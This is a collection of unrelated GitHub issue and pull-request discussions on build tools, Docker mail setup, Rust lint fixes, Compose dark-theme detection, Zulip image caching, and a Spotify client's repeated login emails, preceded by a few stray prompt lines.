Which code was refactored and why was this part of the code refactored?
Which functions were optimized and what is the difference before and after the optimization?

run buildall


Can not find sisu-guice or jdeb in Play project created by Activator

Just tried Coursier 1.0.0-M12 with the default project created by Activator 1.3.10. I created the project this way:
$ activator new test play-scala

Coursier could not find:
[error]   /opt/activator-dist-1.3.9/repository/org.sonatype.sisu/sisu-guice/3.1.0/jars/sisu-guice.jar
[error]   /opt/activator-dist-1.3.9/repository/org.vafer/jdeb/1.3/maven-plugins/jdeb.jar

I found sisu-juice in https://repo1.maven.org/maven2/org/sonatype/sisu/sisu-guice/3.1.0/sisu-guice-3.1.0.jar.
default-test-build-compile-internal.xml says <metadata-artifact status="no" details="" size="4791" time="0" location="/home/mslinn/.ivy2/cache/org.vafer/jdeb/ivy-1.3.xml" searched="false" origin-is-local="true" origin-location="/opt/activator-dist-1.3.7/repository/org.vafer/jdeb/1.3/ivys/ivy.xml"/>
After rm -rf ~/.ivy2 and retrying, no change

To me this problem occurred because I had installed Lightbend Activator and I suppose it somehow messed up my sbt installation so it thought that its ivy cache was in the directory of activator-dist. I can see you're getting the same error messages pointing to your activator installation directory.

Yes I noticed those error messages. My Ivy cache seems fine, because SBT is able to work with the same projects that coursier has problems with. Has anyone actually tried to duplicate this problem to see for themselves? It is a shame that Coursier still does not work with Activator projects.

I had the exact same messages (although the path was different, because my activator-dist folder was elsewhere). After removing the activator-dist folder entirely, everything worked.

See https://github.com/alexarchambault/coursier/issues/271#issuecomment-239612692

I haven't tried that again, but 1.0.0-M13 includes a better Ivy pattern handler, that should be fine with the repositories that activator globally adds.

M13 fails exactly the same as M12.

M15 fails exactly the same as previous versions

I experience the same problem:

Activator 1.3.12
Coursier 1.0.0-M15
Play 2.5.10 project with SBT 0.13.13

The activator seems to be at the origin of this one (that's what I remember of my latest attempt to fix it, a few weeks ago). Disabling ought to make your projects work.

@alexarchambault how did you disable Activator? I've removed Play / Activator folder from PATH, but Coursier seems to keep a pointer to the Activator cache for some reason.

It was something under ~/.sbt IIRC... Maybe ~/.sbt/repositories.

Just an update @alexarchambault ... You are correct, it is fixed after the Typesafe local repositories was commented out.

Closing this. There were workarounds, and I'm not sure this is still an issue.


Conrad restaurant table

In this PR, we add a form and a table for restaurants, and a storybook entries for them.

LGTM!


Add warning for the delete command

Use case:

A user request a wallet address in a CeFi market.
The user wants to send all funds to the CeFi wallet, it uses delete instead of transfer.

Result:
As the CeFi wallet is not initialized, the funds are lost.
Expected:
The delete action should initialize the wallet so the transfer is completed successfully.
This use case could also indicate a delete command design flaw.

We added the warning on the new documentation that is now merged. Thanks for reporting it!


Spamassassin ALL_TRUSTED

docker-compose.yml:
services:
  mailpit:
    container_name: mailpit
    image: axllent/mailpit
    restart: unless-stopped
    volumes:
      - ./mailpit-data:/data
    ports:
      - 80:8025
      - 25:1025
    environment:
      MP_ENABLE_SPAMASSASSIN: spamassassin:783
      MP_SMTP_AUTH_ACCEPT_ANY: 1
      MP_SMTP_AUTH_ALLOW_INSECURE: 1
      TZ: Europe/Berlin
    depends_on:
      - spamassassin
  spamassassin:
    container_name: spamassassin
    image: axllent/spamassassin
    restart: unless-stopped

Sending a test mail to Mailpit results in an overly optimistic spam result:

I really have no idea to be honest. The Spamassassin codebase is huge, and written in perl (which I'm not familiar with), so if you'd like to spend time investigating it that would be great. I've also moved this issue to axllent/spamassassin project as this really relates directly to this (Mailpit just reads the result) :+1:

https://cwiki.apache.org/confluence/display/spamassassin/FixingAllTrusted sound promising. I'll investigate :slightly_smiling_face:

trusted_networks <IP_ADDRESS>/16 <IP_ADDRESS> ::1

Seems to work :+1:

At least for Mailpit this should be sufficient. But I agree that this needs to be something configurable.

Hmm, I'm not actually sure this will achieve what you are wanting, and I cannot replicate my earlier testing / result. From my understanding, all you are achieving is guaranteeing that SpamAssassin knows what your trusted network is, thus guaranteeing that it will apply the -1 ALL_TRUSTED.
I have pushed a change (and a new latest image) that allows you to set the INTERNAL_NETWORKS and TRUSTED_NETWORKS variables in your Docker startup, eg:
  spamassassin:
    container_name: spamassassin
    image: axllent/spamassassin
    restart: unless-stopped
    environment:
      INTERNAL_NETWORKS: <IP_ADDRESS>/16 <IP_ADDRESS>/16
      TRUSTED_NETWORKS: <IP_ADDRESS>/16 <IP_ADDRESS>/16

Looking forward to your feedback.


Fix clippy warnings

Fixes CI for https://github.com/rust-lang/rustwide/pull/53.

error: this function's return value is unnecessarily wrapped by Option

This is a bug in clippy, changing the return type would be a breaking change. It's fixed on nightly but not stable.

Oh wait, that's for a pub(crate) function. I'll fix it.

Oh wait, that's for a pub(crate) function. I'll fix it.

Nope, it's intentionally meant to be the same return type as windows::current_user.

Failure looks unrelated to my change :/
[INFO  rustwide::cmd] running `Command { std: "docker" "start" "-a" "aa0794c5521d231481ac2c06a84ed33417ee7733cd94c06317744a107202ac1b", kill_on_drop: false }`
[INFO  rustwide::cmd] [stderr]    Compiling out-of-memory v0.1.0 (/opt/rustwide/workdir)
[INFO  rustwide::cmd] [stderr] error: linker `cc` not found
[INFO  rustwide::cmd] [stderr]   |
[INFO  rustwide::cmd] [stderr]   = note: No such file or directory (os error 2)
[INFO  rustwide::cmd] [stderr]
[INFO  rustwide::cmd] [stderr] error: aborting due to previous error
[INFO  rustwide::cmd] [stderr]
[INFO  rustwide::cmd] [stderr] error: could not compile `out-of-memory`

Removing https://github.com/rust-lang/rustwide/blob/76a2475ee73152d390479fbfb09dc46253372293/tests/utils/mod.rs#L25-L28 should do the trick.

I can't replicate the clippy failures locally. I think CI might be using an old version?

@jyn514 hmm, seems like there are some new warnings introduced by 1.51 :sweat_smile:
I think we can #![allow] the capitalization one, I'm not going to break backward compatibility due to it.


isSystemInDarkTheme should dynamically update when system theme is changed

I'm using macOS 12.0.1 and Compose 1.1.1
I'm running this basic view:
Box(
    Modifier.fillMaxSize()
        .background(
            if (isSystemInDarkTheme()) Color.Black else Color.White
        )
)

It shows a correct value, but when I change the theme it doesn't update. Window top bar color is updated, but the view is not recomposed. I need to re-run the app to apply theme changes.
Video

Sample code snipped with proposed solution: https://github.com/egorikftp/LadyHappy-Admin/blob/577c173cbf0ccf49417ea0084315a55ff1f7da9d/desktop/src/jvmMain/kotlin/theme/LadyHappyDesktopTheme.kt#L24
All you need is to call rememberDesktopDarkTheme function 🙂

anyone knows how to makes the title bar dark in win10? compose window seems always created with a white title bar, a white title bar with dark content looks very strangely. is there a solution for it?

Make sure you haven't set the night mode programmatically
AppCompatDelegate.setDefaultNightMode(AppCompatDelegate.MODE_NIGHT_YES)

Is there a solution for this on iOS devices?

For iOS, it has been already fixed in https://github.com/JetBrains/compose-multiplatform-core/pull/715 (included into 1.5.0)

Thank you, @MatkovIvan. Will test later.

@MatkovIvan this is not exclusive of macos, in windows there is the same problem. isSystemInDarkTheme() is like a constant that stays with the value initted, thoughout the entire app "lifecycle".
Actual Windows Implementation (in Skiko SystemTheme.awt.kt):
actual val currentSystemTheme: SystemTheme
    get() = when (SystemThemeHelper.getCurrentSystemTheme()) {
        0 -> SystemTheme.LIGHT
        1 -> SystemTheme.DARK
        else -> SystemTheme.UNKNOWN
    }

private object SystemThemeHelper {
    init {
        Library.load()
    }

    external fun getCurrentSystemTheme(): Int
}

You can use this utility: https://kotlinlang.slack.com/archives/C01D6HTPATV/p1706915254041629?thread_ts=1706910745.532729&channel=C01D6HTPATV&message_ts=1706915254.041629

Cant access link!

Pasting what was linked
package theorycrafter.utils

import androidx.compose.runtime.*
import androidx.compose.ui.SystemTheme
import kotlinx.coroutines.Dispatchers
import kotlinx.coroutines.delay
import kotlinx.coroutines.launch
import org.jetbrains.skiko.currentSystemTheme

/**
 * Returns whether the system's color theme is a dark one.
 */
@Composable
@ReadOnlyComposable
fun isSystemThemeDark(): Boolean {
    return LocalSystemTheme.current == SystemTheme.Dark
}

/**
 * A composition local for the system theme.
 */
val LocalSystemTheme = staticCompositionLocalOf<SystemTheme> {
    error("System theme not provided")
}

/**
 * Provides the system theme.
 */
@Composable
fun ProvideSystemTheme(content: @Composable () -> Unit) {
    val systemTheme by produceState(initialValue = currentSystemTheme.asComposeSystemTheme()) {
        // Launch on a thread other than the event dispatching thread because tests typically
        // wait for the event dispatching thread to become idle.
        // Running this in the event dispatching thread means it will never be idle.
        launch(Dispatchers.IO) {
            while (true) {
                delay(1000)
                value = currentSystemTheme.asComposeSystemTheme()
            }
        }
    }

    CompositionLocalProvider(LocalSystemTheme provides systemTheme) {
        content()
    }
}

/**
 * Converts Skiko system theme type to Compose [SystemTheme].
 */
private fun org.jetbrains.skiko.SystemTheme.asComposeSystemTheme() : SystemTheme {
    return when (this) {
        org.jetbrains.skiko.SystemTheme.DARK -> SystemTheme.Dark
        org.jetbrains.skiko.SystemTheme.LIGHT -> SystemTheme.Light
        org.jetbrains.skiko.SystemTheme.UNKNOWN -> SystemTheme.Unknown
    }
}

Please check the following ticket on YouTrack for follow-ups to this issue. GitHub issues will be closed in the coming weeks.


add react-router and split on activity paths

Adds react-router and uses the activity as initial paths to render routes and code-split.
Some learnings:

Not having to evaluate all the code in initialisation cuts ~20% of startup time in initial tests I ran from ~5s to 3.5-4s depending on the initial route.
We can incrementally add more splitting and routes to cut more unused code from being initialised so this can improve even more.
The current paths are based on the activity kept in redux state (home/debug/design/test). We should move these navigations to <Link to="..."/> components and const navigate = useNavigate() hook usage. We might need to untangle some state management that has to do with navigation from redux also e.g. tracking events and other reducers that "listen" on the activity changing.
Preloading works but can be done better and automatically once we come with conventions around app routing and data loading in the app
Suspense shows an empty div to keep the same loading experience that we have now but it opens up the door to introduce loading/skeleton views for when things take time. Again this should go hand in hand with the data loading abstraction we use.

Awesome work that would benefit us moving forward! I just left a few questions that I would love to learn more about this work!


feat: add disable filetype

fixes: #155

I just tested it, but unfortunately it does not work for me. I thought that this might be something special for this Denite filter buffer, since I don't know exactly what magic is happening there (the code-base was a bit awkward therefore). So I tried it with a regular filetype I use with completion (typescript here). Same result. I still get completions from the LS, path, snippets, ...

Hmm it seems working on my side. I have the setting like this
let g:completion_disable_filetypes = ["cpp", "lua"]

Or you can try deleting the view files and see if it works(rm ~/.local/share/nvim/view/*)

Okay now it works for my typescript example. But for some reason does the special denite-filter buffer  still get completion...

Hmm that's weird...Have you checked the filetype of the denite-filter by echo &filetype? If so then I have no idea what went wrong..

Sorry for the long delay :see_no_evil:
Yes I did that. I also have a filetype plugin for this buffer that is working perfectly fine. Can you reproduce this issue? :thinking:

Sorry for the longer delay :( I have been very busy last couple of weeks.
I never used denite before so reproducing should take some time, but I'll try doing that these days!

Hey @weilbith @haorenW1025, any news on this PR? Would be a great additional feature imo :)

Sorry, but I'm not using this plugin anymore. So I have no clue.

@haorenW1025 Great to see you back!
I tested this PR by ignoring on filetypes like telescopePrompt and netrw and it works fine!
Would be great if you merge this if you feel this is ready


GPMD breaks sound when opening youtube on safari

macOS 10.12
Sound loops when opening safari.
I use chrome as main browser, so far so good no issues having many windows/accounts logged in.
Playing a playlist, when i did remember about the picture in picture of the new macOS, so i opened safari, and just when i opened it and navigated to youtube, the audio started to loop, like 1 sec or less, and stopped until i closed GPMD window, i repeated the process to check if it was related and it did the same thing

Initial Reaction:

But for reals, I'm just going to mark this as unconfirmed as I don't have a mac to test on at the moment.  We'll see if anyone else can reproduce

I tried reproducing this on my rMBP (with macOS 10.12) but it didn't happen.

Thanks @arkon
I'll wait for one more person to try this out before retagging

Ok, i am going to test on Mac mini today

I found another mac to test this on and couldn't reproduce.  Closing this out as a "wut" issue 😆


Merge PDB source indexation with sourcelink

This is a draft. Two issues are remaining.
One seems fixed using HEAD of master of SourceLink.
The second is this one: https://github.com/ctaggart/SourceLink/issues/124
I'm currently trying to fix the second one.
Please provide me some feedback on this change in the mid-time.
Thanks

Closing this one. Trying another one using pdbstr: https://github.com/gluck/il-repack/pull/169

Comments handled in https://github.com/gluck/il-repack/pull/169


Config in etcd not rolled back on healthcheck failure.

If I add the HEALTHCHECK_URL setting to an application that subsequently fails its healthcheck, the release will be rolled back.  However, the etcd /deis/config/app/healthcheck_url key is not removed, which seems to cause the publisher to remove the existing containers from nginx, causing the app to 502 until someone fixes it.

this is likely going to be addressed in v2 via https://github.com/deis/controller/issues/798

Deis v1 LTS support ends February 13, 2017, and v1.13.4 is intended to be the last official release, so I'm closing this.
Please see Deis Workflow, the documentation / hub repository for the next-generation PaaS.


Solana program test crate improperly linked in readme

is currently: https://crates.io/solana-program-test
should be: https://crates.io/crates/solana-program-test

sorry for annoying issue Xd, just stumbled upon it and would have submitted PR myself but repo is protected

Thanks for reporting, fixed in #2


display numpy.array(dtype=numpy.bool) -- more helpful message or documentation?

When I try to "View Image" on a numpy.array(dtype=numpy.bool) I get the following error:
! preferred backend Standalone can't be used, as it
depends on 'numpy'. will try to fall back to other
method.

I'm using a virtualenv, can the extension access the numpy that I have installed in that environment, or is it trying to access a global numpy or is the problem that numpy isn't installed?
Why can't "backend Standalone" be used?

yes, that makes sense... The main issue is that I don't get helpful error messages from python when some execution fails. I'm currently working on a major refactoring, and I'm already taking it into account.
Thanks!

And for the actual question, it doesn't know how to save bool type. This is another thing I intend to fix on the next release.

so, if I use the debugger to cast to another type...yes that works after refreshing the "IMAGE WATCH" pane

New Pre-Release is available, which fixes this (along with more improvements).
Please give it a try. I would love to hear feedback on the release.

v3 is released. This issue is handled in it.


Ported to hugo

https://github.com/fundon/fundon.github.io
Thanks!

Great to see it is applicable for your application!


uploads: Cache user uploaded S3 images using service worker.

Fixes #13088.
I have to clean this up and there is still work remaining but it seems that this works.
I get the thumbnails for the s3 uploaded images before the request is finished
GIFs or screenshots:
initially:

on reload:

Cache Storage:

Testing plan: Dev Server
Added latency in serve_file_backend to view whether the images are getting cached or not.
Work remaining:

[ ] Haven't tested it out in production. (will require nginx changes for adding the Service-Worker-Allowed header)

[ ] Update this to add the Cache-Control headers instead of storing the images in cache storage as mentioned in the issue's comment.
Currently for each stored request's response extra 7MB is stored as mentioned in the docs.
To fix this cache storage issue we just need to opt-in to CORS mode.

[x] Haven't been able to test for multiple zulip realms on same browser as service worker doesn't get registered for http.
(EDIT: There shouldn't be any problem due to the SW same origin policy. )

Documentation Sources for all the comments added in the commit:
The default statuses of StaleWhileRevalidate strategy
Updating the service worker
cache API origin storage (the caution text)
Skip Waiting and Clients Claim
Not adding hash for the URL of service worker script in webpack config
SW requires https

@ryanreh99 awesome, this is really exciting!  This could have a big impact on both file access performance and bandwidth costs for zulip.com.  @alexmv @andersk it'd be great if you can help review and test this.

@ryanreh99 I saw you pushed a new version.  @andersk do you have time to look at the strategy here?

The last push was just to change the strategy from StaleWhileRevalidate to CacheFirst as theres no need to do a network request every time since we know our url won't change.
And just checked point 3 - I misunderstood that different realms would share the same cache storage, since subdomain is different they're not shared and a new SW is registered.

For point 2 to fix the storage issue, I had a question whether it is okay to do the below migration. The change needed for this is:

Update the upload backends docs, to configure the cors rules for out bucket to enable GET requests from our origin.
(I set origin to "*" in dev env to test)

Add img.set("crossorigin", "anonymous") line to zerver/lib/markdown/init.py#L588

Add a migration so that the img tags in rendered_content have the above crossorigin attribute.

It may even be sufficient to have the service worker simply hide the redirect by acting as a proxy and adding Cache-Control headers, rather than making explicit use of the Cache API.

I don't exactly understand what is to be done here, could you explain.
Should I store a user_uploads request's url pointing to the aws_presigned_url found from the response in the cache storage.
Then for subsequent user_uploads fetch events, respond with a fetch request to the old aws url (which wont work) adding the cache-control header ?

The desired behavior is that, when the service worker gets a request for an uploaded image, it asks the Zulip server for the AWS URL, downloads the image from the AWS URL, and responds to the request with Cache-Control headers as if the HTTP redirect hadn’t happened. (Bonus points if we can use the ReadableStream API when available to stream in the response as it arrives.) The service worker should not need to store the image; the browser should cache the result because it was served with Cache-Control headers.

Closing as we addressed the original issue in https://github.com/zulip/zulip/pull/23713.


Refactors extension validator to return error key in addition to error message.

Opening to run the full test suite.

r? @ngokevin

there could be an argument made for making constants...your call r+

I thought about that, but you can't use constants as keys in Python when using literal dict definition syntax, and manually setting everything in __init__ seemed cumbersome.


GearBot does not check whether "Manage Roles" is via Channel or Server.

Describe the bug
When GearBot has "Manage Roles" permission, but does not have "Manage Permissions" in a specific channel, it refuses to give out the role and claims that it does not have "Manage Roles" permission even though that it does.
Steps To Reproduce

Give GearBot "Manage Roles" permission by role.
Deny GearBot "Manage Permission" in a channel called #test for example.
Add a random role to the whitelist, or just use a whitelisted role.
Attempt to add the role to someone in the channel #test .

Expected behavior
GearBot should give the role to someone, since roles are supposed to be on server-side. Not channel-side.
Screenshots
https://i.imgur.com/8em65jr.png https://i.imgur.com/cmfh6uF.png
Additional context
This could possibly be a discord.py bug, but I am unsure of whether this can be fixed via GearBot. Figured I'd post here.

This is not exactly a bug, this is just how the commands checks are designed in d.py, @AEnterprise or someone will have to create special checks for this type of stuff.

thanks for the detailed report, this however is a duplicate of #294 and i am unable to reproduce anymore


feat: Encoding API Improvements

Description of changes
To improve compatibility with encodings supported by Node.js, the following actions have been taken.
https://nodejs.org/api/util.html#whatwg-supported-encodings

For encodings supported by LLRT, modified so that they can also be specified by aliases.
Reduced excessive normalization and made label judgments a little stricter.
Since iso-8859-1 was an alias, it was managed by windows-1252.
ENCODING_MAP was introduced with the expectation of improved maintenance and lookup performance.

Checklist

[x] Created unit tests in tests/unit and/or in Rust for my feature if needed
[x] Ran make fix to format JS and apply Clippy auto fixes
[x] Made sure my code didn't add any additional warnings: make check
[x] Updated documentation if needed (API.md/README.md/Other)

By submitting this pull request, I confirm that you can use, modify, copy, and redistribute this contribution, under the terms of your choice.

Hi @richarddavison .
Yes. In the previous implementation, it was necessary to create a new enum when dealing with aliases that exceeded the normalization range (e.g., treating unicode-1-1-utf8 as utf-8), and this proposal was made to avoid this.
We believe that by minimizing the normalization, we can now evaluate with the same string as the actual label.
Finally, as for performance, this level of performance would not make a difference. :)


Add export/supply bus that can target specific slots

bdew/neiaddons#32

I really would love to see this get made! I need it for the IC2 Fluid Nuclear Reactor!
It would be helpful in other mods like Railcraft - using it with Loaders and Unloaders. It would be nice to be able to place items in specific cart slots in rail-carts and retrieve items from specific carts too.

Agreed. It would also be insanely useful for building fully automated setups with Factorization ore processing.

I'm closing this issue as part of a spring cleaning of my issue trackers from old stuff.
If you believe it's a bug that is still relevant in Minecraft 1.12 - Feel free to reopen it.


Add failing iflet store test

@dannyhertz A lot has changed upstream, so we decided to test this out again and the extra emission has gone away! Note that the test does not pass currently because we now squash synchronous mutations down, but if you want it to pass you can add a .receive(on:) the synchronous effect and introduce a test scheduler that advances a tick after sending the child action.
Going to close this out as the bug appears fixed, but let us know if you have further issues!


BUG: avoid recomputing in scipy.optimize.optimize.MemoizeJac

Fixes #11868
This PR adapts scipy.optimize.optimize.MemoizeJac to also cache the
function result when the gradient is requested before the function value
(which is the case when using HessianApproximationStrategy, as,
e.g., the case in minimize(method='trust-constr')). Previously, the
function value was only cached when the value of the function was requested,
but not when the gradient was requested.
I also added tests that make sure the values are cached correctly. I wasn't
sure how to name the test file for scipy/optimize/optimize.py since there
was already a scipy/optimize/tests/test_optimize.py testing the module itself.
I went for scipy/optimize/tests/test__optimize.py. Let me know if you prefer something else.

Apart from the comments I just made it's looking good to go in.

Thank you @matthias-k. Would you mind adding a short text outlining this change to the release notes? They are found in the wiki section of the repo.

@andyfaff Sure! Are you talking about https://github.com/scipy/scipy/wiki/Release-note-entries-for-SciPy-1.5.0? It seems to mainly contain features, not so much bugfixes.

Yes, that wiki. Tag in onto the scipy.optimize section.

done.


Backport: fix crippled diff (#4726)

Backport of https://github.com/go-gitea/gitea/pull/4900

And make regenerate-stylesheet for this too (because it's quite different on different branches)

Thanks @techknowlogick, it was! :tada:

@xxxtonixxx it may be that you need to rm -rf node_modules and npm i it again before building. I know there was a change to the less library that caused a different output

I am having a similar error,
Is this to be done in the gitea root folder or more so in the npm install folder?

In the gitea root folder, @oscarlofwenhamn

Thanks!


Add distribution based drill-up to measures

Proof of concept implementation of distribution based drill-up feature for measures.

We won't need this now so I'm closing the PR.


Fix tracked values being updated in the same runloop they were used

This was the main error I was getting when trying to use any of the helpers in a ember 4.4 app!
From what I can tell... it doesn't seem like anything that actually renders relies on updates to the proxy cache? (I'm super unsure of this tho, lol.)
So I made an untracked version of the object cache and had the proxy cache use it, and so far things seem to work without issue now.

Great find! I picked out a few things I did in my other branch to see if we can get all these tests passing


New log in notification every time app is opened

Describe the bug
Every time I open the app, I get a "new login to Spotify from Linux" email alert.
To Reproduce
Steps to reproduce the behavior:

Click on the hamburger menu in the top right
Click on "quit"
Reopen the app
You should get an email notification

Expected behavior
I expect a login notification on the initial login to Spot, but once I've logged in, I no longer expect these notifications each time I open the app.
General information:

Distribution: Pop!_OS
Installation method: Flathub
Version [e.g. 0.1.0]: 0.2.2
Device used [e. g. desktop, phone...]: Laptop

Additional context
While this is not a huge issue (I could silence the emails if it really bothered me), I figured that this behavior indicated a problem.

I'm seeing this as well. When I close the app and re-open I can actually see my library, but the login dialog requires that I login again, or closes the app.

I think this is due to the fact that the app uses your stored credentials every time you open it to fetch your music. I'd just create an email filter tbh.

I think this is due to the fact that the app uses your stored credentials every time you open it to fetch your music. I'd just create an email filter tbh.

That would mean you don't know if someone hijacked your account. I strongly suggest not to do that.
I would expect Spot to save the token and not login again unless the token expires.

I would expect Spot to save the token and not login again unless the token expires.

Yes, this is what should be happening if you have GNOME Keyring set up :)
But yeah, can´t  do much about this unfortunately! I might close this issue or mark it as wontfix to clarify things

I would expect Spot to save the token and not login again unless the token expires.

Yes, this is what should be happening if you have GNOME Keyring set up :)
But yeah, can´t do much about this unfortunately! I might close this issue or mark it as wontfix to clarify things

I don't follow. Maybe we need to disambiguate what this issue is about:

@kd2flz wrote a notification comes up without mentioning any user itneraction besides re-opening spot
I saw the login re-appear every single time. Somehow this stopped happening. And maybe there was an issue with the keyring? But I can't reproduce it currently.
@TheCultLeader666 suggests spot uses stored credentials to login every time spot starts

I've not had a chance to look at the code so far... but these don't sound like the a single issue to me :-D

@TheCultLeader666 suggests spot uses stored credentials to login every time spot starts

Indeed I got a New login to Spotify just now. I did not see the dialog. Meaning spot logged in from scratch with saved user and password.

Are you on gnome (have gnome keyring installed)

Yes, the original issue
I had the same issue with the login coming up on restart intermittently. Anecdotally, I haven’t had the issue since upgrading to Pop!_OS 21.10, which uses Gnome 40, so possibly new Gnome keyring version? That’s just me guessing though.
From: kalikiana @.>
Sent: Monday, December 20, 2021 1:33 PM
To: xou816/spot @.>
Cc: David Rhoads @.>; Mention @.>
Subject: Re: [xou816/spot] New log in notification every time app is opened (Issue #374)

@TheCultLeader666https://github.com/TheCultLeader666 suggests spot uses stored credentials to login every time spot starts

Indeed I got a New login to Spotify just now. I did not see the dialog. Meaning spot logged in from scratch with saved user and password.
—
Reply to this email directly, view it on GitHubhttps://github.com/xou816/spot/issues/374#issuecomment-998173351, or unsubscribehttps://github.com/notifications/unsubscribe-auth/ALGVCJA7CMD4NQEEDLH6NATUR5ZF7ANCNFSM5IPPMRHA.
Triage notifications on the go with GitHub Mobile for iOShttps://apps.apple.com/app/apple-store/id1477376905?ct=notification-email&mt=8&pt=524675 or Androidhttps://mail1.ccistack.com/fmlurlsvc/?fewReq=:B:JVk/NDAwPyNzODcrNSNsYTg1ND81NCN2bGJrZHFwd2A4YTUyPTdjPTE3PTYxMWQ8NjdmMTAyNT00NGE0MDI9MzcxPWQ3MWdhYyNxODQzMTU1NzA0PTYjdGxhODRHTkxdNk5oNTY3MTcxKDRHTkxdNk5qNTY3MTcxI3dmdXE4YWRzbGF3bWpkYXZFaGRsaXZxZGZuK2ZqaCNmODQ8I21haTg1&url=https%3A%2F%2Fplay.google.com%2Fstore%2Fapps%2Fdetails%3Fid%3Dcom.github.android%26referrer%3Dutm_campaign%253Dnotification-email%2526utm_medium%253Demail%2526utm_source%253Dgithub.
You are receiving this because you were mentioned.Message ID<EMAIL_ADDRESS>

I'm getting the New login to Spotify email consistently now, just by starting spot without ever seeing a dialog

Might add that I do not experience this problem

Are you on gnome (have gnome keyring installed)

btw I'm on openSUSE MicroOS (Tumbleweed) with GNOME running the flatpak, and apparently this is what Spot saved to the keyring here
{
    "username": "SECRET",
    "password": "SECRET",
    "token": "SECRET",
    "token_expiry_time":
    {
        "secs_since_epoch":<PHONE_NUMBER>,
        "nanos_since_epoch": 222695468
    },
    "country": "DE"
}

(formatted for readability by me, real credentials replaced by SECRET by me)

might you happen to be using a vpn? (or changing your ip some other way)

The token is short-lived. After it expires, Spot re-authenticates with the stored username/password.
I don't know if Spotify supports some sort of refresh token, but Spot sure doesn't.
The e-mails are normal, and for some users, they stop coming after a while for some reason: https://github.com/xou816/spot/issues/163#issuecomment-801325893

Thank you all for taking the time to investigate. I am really not sure I can do anything, afaik if the login dialog does not pop back up, it means reauthentication worked fine and if there's a mail being sent I can't do much about it.
However maybe there's a subtle bug with the lifespan of the token? it should live about 30minutes. If I use Spot a couple minutes, close it and start it back up, it should use it and I think that means no mail (in my experience at least), so maybe something is off. We should log what auth flow is being used. I could upload a build with more logging enabled unless someone is comfortable enough to add it themselves and rebuild!

If one of you has time for that, here is a build that will log the method used to authenticate on startup. I'd be interested in seeing how spot behaves for you when stopping it soon after starting it, and then starting it back up.
How to run it:
$ flatpak run --env=RUST_LOG=info dev.alextren.Spot
# sample output: [2021-12-22T00:34:34Z INFO  spot::player::player] handling TokenLogin...

$ flatpak run --env=RUST_LOG=info dev.alextren.Spot
# sample output: [2021-12-22T00:34:34Z INFO  spot::player::player] handling TokenLogin...

FYI I got the email, w/o seeing any dialog in the app.
flatpak run --env=RUST_LOG=info dev.alextren.Spot
[2021-12-22T23:33:08Z INFO  librespot_core::session] Connecting to AP "ap-gew1.spotify.com:4070"
[2021-12-22T23:33:08Z INFO  librespot_core::session] Authenticated as "SECRET" !
[2021-12-22T23:33:08Z INFO  librespot_core::session] Country: "DE"
[2021-12-22T23:33:08Z INFO  spot::player::player] bitrate: Bitrate160
[2021-12-22T23:33:08Z INFO  spot::player::player] using pulseaudio
[2021-12-22T23:33:08Z INFO  librespot_playback::audio_backend::pulseaudio] Using PulseAudio sink with format: S16

Note: SECRET is my Spotify username

Sorry, I think I did not explain properly. You need to install the debug build provided above (scroll down to Artifacts -> download -> install using flatpak install --user spot.flatpak)
Then you should see either handling TokenLogin or PasswordLogin which will help us understand what's happenng.
Thank you! :)

Sorry, I think I did not explain properly. You need to install the debug build provided above (scroll down to Artifacts -> download -> install using flatpak install --user spot.flatpak)
Then you should see either handling TokenLogin or PasswordLogin which will help us understand what's happenng.
Thank you! :)

I thought I did, I guess something went wrong. Second attempt:
flatpak run --env=RUST_LOG=info dev.alextren.Spot
[2021-12-28T17:00:17Z INFO  spot::player::player] handling PasswordLogin...
[2021-12-28T17:00:17Z INFO  librespot_core::session] Connecting to AP "ap-gew1.spotify.com:4070"
[2021-12-28T17:00:17Z INFO  librespot_core::session] Authenticated as "SECRET" !
[2021-12-28T17:00:17Z INFO  librespot_core::session] Country: "DE"
[2021-12-28T17:00:17Z INFO  spot::player::player] bitrate: Bitrate160
[2021-12-28T17:00:17Z INFO  spot::player::player] using pulseaudio
[2021-12-28T17:00:17Z INFO  librespot_playback::audio_backend::pulseaudio] Using PulseAudio sink with format: S16

After closing and re-opening I get this:
flatpak run --env=RUST_LOG=info dev.alextren.Spot

** (process:12716): WARNING **: 18:01:54.804: Error writing credentials to socket: Error sending message: Broken pipe
[2021-12-28T17:01:55Z INFO  spot::player::player] handling TokenLogin...
[2021-12-28T17:01:55Z INFO  librespot_core::session] Connecting to AP "ap-gew1.spotify.com:4070"
[2021-12-28T17:01:55Z INFO  librespot_core::session] Authenticated as "SECRET" !
[2021-12-28T17:01:55Z INFO  spot::player::player] bitrate: Bitrate160
[2021-12-28T17:01:55Z INFO  spot::player::player] using pulseaudio
[2021-12-28T17:01:55Z INFO  librespot_playback::audio_backend::pulseaudio] Using PulseAudio sink with format: S16
[2021-12-28T17:01:55Z INFO  librespot_core::session] Country: "DE"

Nice, thanks! So it seems to be able to reuse the token indeed, that's good news. Hopefully you did not get an email the second time around?
I wonder if
Error writing credentials to socket: Error sending message: Broken pipe

is something to be worried about

Nice, thanks! So it seems to be able to reuse the token indeed, that's good news. Hopefully you did not get an email the second time around?

I didn't.
Again opened spot later, email appeared, handling PasswordLogin... in logs. Re-opened and handling TokenLogin... w/ no email.
So it seems the token is really very short-lived, as you suggested before. Are you using the authorization code flow? The last section reads to me like you need to request a new token explicitly to avoid starting from scratch.

sadly it's neither of those flows, it's something in between, we login directly against some private endpoints via librespot and we end up as a bonus with a short live access token but no refresh token afaict. Not sure there are better ways right now without having separate authentications for librespot + the official spotify API all in one

Not sure if it helps, but I found another client using librespot. It's this project. From my testing it does not send an email when i relogin after some days of not using it. But I don't know how it works. I tried to figure it out but there seems no real big difference between how the api is used.

Okay a small update on the topic, I figured it out where the problem is. Since spot is using librespot without any cache, it can not save the reusable credentials which can be used for logging in multiple times. See:
https://github.com/librespot-org/librespot/blob/650d41b020691fec6c7d2c90c0f6de91ac8635cf/core/src/session.rs#L75-L80
But even if spot would use a cache, it is not possible to gain access to the credentials, because they would be written to a file and not to the keychain.

Thank you very much for looking into this, that is a really nice finding! Did not know there was a cache option there!
It might be okay to use that file -- actually, it might solve issues with people who did not want to use the keychain in the first place. If that file allows us to fully restore the session and obtain a token suitable for calling the API, we might not even need the keychain at all :o

This should allow a full session restore with no new mail and should also improve the data usage because librespot can cache some things. I found another app using this, which does use the cache. For further reference, https://github.com/hrkfdn/ncspot/blob/3d08f494f2930f76df9676bc33a8a8ff26e153f4/src/spotify.rs#L133-L151

Just to follow up, I also proposed a change to the librespot api in oder to allow handling the long-term credentials from the api-consumer side. See librespot pull-request

